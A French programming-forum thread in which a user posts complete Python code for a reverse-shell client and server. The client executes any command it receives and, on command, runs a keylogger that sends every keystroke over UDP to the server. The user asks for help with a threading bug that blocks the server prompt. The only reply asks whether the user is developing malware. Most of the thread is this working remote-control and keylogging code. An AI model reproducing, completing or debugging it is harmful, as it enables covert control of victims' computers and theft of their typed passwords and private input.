Client/server bloquant

Fermé
popmun_31 Messages postés 2 Date d'inscription   Statut Membre Dernière intervention   -  
barnabe0057 Messages postés 14455 Date d'inscription   Statut Contributeur Dernière intervention   -
Bonjour,

J'essaye de développer un serveur client qui permet de faire du revserse shell en python. Le serveur TCP permet d'envoyer des commandes au client (cd, ls...) et aussi d'activer un logger de keyboard.

Mon soucis c'est que quand on active le logger, je voulais démarrer un thread qui initialise un server UDP indépendant. Mais cela bloque mon programme principal serveur (je ne peux plus envoyer d'autres commandes). Le logger marche bien, mais c'est comme si le thread ne rendait pas la main , on ne revient pas au prompt du reverse shell après avoir exécuté la partie "kbd_on" du serveur.

Pour le client c'est la même chose, quand il reçoit la commande pour démarrer le logger il devrait lancer un thread indépendant pour envoyer des messages UDP.

Le serveur:

import socket
import threading

def run_kbd():
    global running
    global localIP,localPort
    print("thread kbd server ON")
    UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
    UDPServerSocket.bind((localIP, localPort))
    while running:

        bytesAddressPair = UDPServerSocket.recvfrom(bufferSize)
        message = bytesAddressPair[0]
        address = bytesAddressPair[1]

        clientMsg = "Message from Client:{}".format(message)
        clientIP  = "Client IP Address:{}".format(address)
      
        file=open('UDP_msg.txt','a')
        file.write(clientMsg+'\n')
        file.close()
    UDPServerSocket.close()
         
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5004
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go

file=open('UDP_msg.txt','w')
file.close()


SEPARATOR = "<sep>"
# create a socket object
s = socket.socket()

# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print("Listening as server")
# accept any connections attempted
client_socket, client_address = s.accept()
print(str(client_address[0])+':'+str(client_address[1])+' Connected!')

# receiving the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)

loop=1

while loop==1:
    # get the command from prompt
    command = input(str(cwd)+'>')
    command=command.strip()
    
    if command.lower()=="kbd_on":
        print("kbd ON")
        localIP     = "0.0.0.0"
        localPort   = 20001
        bufferSize  = 1024
        file=open('UDP_msg.txt','w')
        file.close()
        running=True
        client_socket.send(command.encode())
        output = client_socket.recv(BUFFER_SIZE).decode()
        print(output)
        kbd1=threading.Thread(target=run_kbd())
        kbd1.start()    

          
    if command.lower()=="kbd_off":
        running=False
        print("kbd OFF")
        # send the command to the client
        client_socket.send(command.encode())
        output = client_socket.recv(BUFFER_SIZE).decode()
        print(output)

    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        loop=0
        running=False
        s.close()
    
    if (command!="") and (command!="exit") and (command!="kbd_on") and (command!="kbd_off"):
    # send the command to the client
        client_socket.send(command.encode())
    # retrieve command results
        output = client_socket.recv(BUFFER_SIZE).decode() 
    # split command output and current directory
        results, cwd = output.split(SEPARATOR)
        print(results)

        
s.close()


Le client :

import socket
import os
import subprocess
import sys
import keyboard
import threading

 
def run_kbd():
    """Le code que le thread devra exécuter."""
    global running
    print("KBD client activé")

    while running:
        keyboard.on_press(logger)
        keyboard.wait()
    UDPClientSocket.close()
#    def filter(char):
 #      if char == "space":
   #         return " "
  #      elif len(char) > 1:
   #             return "[%s]" % char
    #    else:
     #           return char
     
def logger(event):
    global UDPClientSocket
    global serverAddressPort
    #print(filter(event.name))
    #bytesToSend = str.encode(filter(event.name)
    bytesToSend = str.encode(event.name)                           
    # Send to server using created UDP socket
    UDPClientSocket.sendto(bytesToSend, serverAddressPort)




SERVER_HOST = "0.0.0.0"
#SERVER_HOST = "192.168.0.57"
SERVER_PORT = 5004
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
SEPARATOR = "<sep>"
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
# get the current directory
cwd = os.getcwd()
s.send(cwd.encode())


while True:
    # receive the command from the server
    command = s.recv(BUFFER_SIZE).decode()
    splited_command = command.split()
    print (splited_command[0])
    t=0

    if command=="kbd_on":
        print("kbd ON")
        serverAddressPort= ("0.0.0.0", 20001)
        bufferSize= 1024
        UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) #DGRAM = protocol UDP
        message = "KBD executed on client"
        s.send(message.encode())
        kbd1=threading.Thread(target=run_kbd)
        running = True
        kbd1.start()
        t=1
    if command=="kbd_off":
        print("kbd OFF")
        running=False
        t=1
        message = "KBD terminated on client"
        s.send(message.encode())
    if command.lower() == "exit":
        # if the command is exit, just break out of the loop
        running=False
        t=1
        break
    
    if splited_command[0].lower() == "cd":
        # cd command, change directory
        try:
            print("cd exec")
            os.chdir(' '.join(splited_command[1:]))
        except FileNotFoundError as e:
            # if there is an error, set as the output
            output = str(e)
            output="error "+output
        else:
            # if operation is successful, empty message
            output = "cd exec ok"
        message = output+SEPARATOR+cwd
        s.send(message.encode())
        t=1
    if t==0:        
        print("commande exec")
        # execute the command and retrieve the results
        output = subprocess.getoutput(command)
    # get the current working directory as output
        cwd = os.getcwd()
    # send the results back to the server
        message = output+SEPARATOR+cwd
        s.send(message.encode())
        t=1
# close client connection
s.close()


Si vous avez une idée sur le comportement du thread ? Je n'arrive vraiment pas à comprendre d'où vient le problème.

Merci beaucoup
A voir également:

1 réponse

barnabe0057 Messages postés 14455 Date d'inscription   Statut Contributeur Dernière intervention   4 925
 
Bonjour,

Reverse shell ? Keylogger ? Tu développes un malware ?
0